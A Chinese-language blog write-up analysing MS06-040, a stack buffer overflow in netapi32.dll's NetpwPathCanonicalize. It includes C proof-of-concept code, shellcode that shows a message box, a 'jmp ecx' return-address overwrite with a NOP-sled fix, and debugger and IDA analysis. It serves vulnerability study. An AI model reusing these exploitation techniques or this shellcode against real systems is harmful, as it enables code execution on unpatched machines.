selph
selph
发布于 2022-04-03 / 414 阅读
0
0

漏洞分析:MS06-040

漏洞简介

Microsoft 安全公告 MS06-040 - 严重 | Microsoft Docs

漏洞存在于netapi32.dll中的导出函数NetpwPathCanonicalize()里,原型为:

int NetpwPathCanonicalize (
    uint16  path[ ],     //   [in]  path name
    uint8  can_path[ ],  //    [out]  canonicalized path
    uint32  maxbuf,      //  [in]  max size of can_path
    uint16  prefix[ ],   //  [in]  path prefix
    uint32*  pathtype,   //  [in out]  path type
    uint32  pathflags    //  [in]  path flags, 0 or 1
);

功能是将perfix和path用\字符拼接,输出到can_path中,输出字符串的容量是maxbuf这么大

动态分析

漏洞触发的POC如下:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}

代码是装在存在漏洞的netapi32.dll来调用漏洞函数进行复现漏洞

这里将path和prefix设置成长字符串来触发栈溢出,编译运行直到异常:

image-20220322171444455

发现执行到NetpwPathCanonicalize里的这个函数的时候,触发了异常

跟进该函数进行查看:

image-20220322171910338

首先是将b填充到栈里

image-20220322171955139

然后接下来把\给拼接进来,这里用的是UNICODE编码,所以一个字符占2个字节,为啥会拼到这里呢,因为b的最后2字节留空,被误当作了字符串的结尾,然后将\拼接进来了

image-20220322172228289

接下来又进行了一次字符串拼接,将a也拼接进来了,此时ebp和ebp+4(返回地址)都被覆盖了,到ret指令时:

image-20220322172411292

返回地址被淹没

执行shellcode只需要将a字符串的最后8个字节进行处理一下,让函数返回跳转到shellcode上即可,此时ecx的值是can_path的首地址,所以只需要构造一个jmp ecx即可:

FF E1 jmp ecx

搜索含有该指令的地址:

Log data, item 4
 Address=7C810788
 Message=  0x7c810788 : "\xff\xe1" |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

修改后的代码:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
char shellcode[] = 
		"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
		"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
		"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
		"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
		"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
		"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
		"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
		"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
		"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
		"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
		"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
	memcpy(prefix,shellcode,168;	
	//7C810788
	path[0x318] = '\x88';
	path[0x319] = '\x07';
	path[0x31a] = '\x81';
	path[0x31b] = '\x7c';
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}

遇到的问题

这里进入shellcode执行之后,在shellcode中某一步骤使得shellcode所在的栈的位置和esp撞一起了:

image-20220322175951821

解决思路有:

  1. 在覆盖返回地址的时候利用Ret2libc技术让esp膨胀或者缩小,以至于让esp的改变不影响shellcode本身
  2. 增大shellcode,让shellcode会被影响的区域全部填充成nop(参考自:[原创][完]0day安全学习笔记:MS06-040漏洞分析

显然解决方案2比较方便省事

完成弹窗功能

按照解决方案2修改代码:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
char shellcode[] = 
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
		"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
		"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
		"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
		"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
		"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
		"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
		"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
		"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
		"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
		"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
	memcpy(prefix,shellcode,sizeof(shellcode));	
	//7C810788
	path[0x318] = '\x88';
	path[0x319] = '\x07';
	path[0x31a] = '\x81';
	path[0x31b] = '\x7c';
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}

成功弹窗:

image-20220322180603559

静态分析

使用IDA找到目标函数分析如下:

image-20220322194523428

这里有字符串长度验证,但是使用的是wcslen来计算字符串长度,计算出来一个字符占2个字节长度,而合法性验证默认当成1个字符占1个字节了,由此产生了栈溢出漏洞

参考资料

[原创][完]0day安全学习笔记:MS06-040漏洞分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

远程RPC溢出EXP编写实战之MS06-040 - FreeBuf网络安全行业门户


评论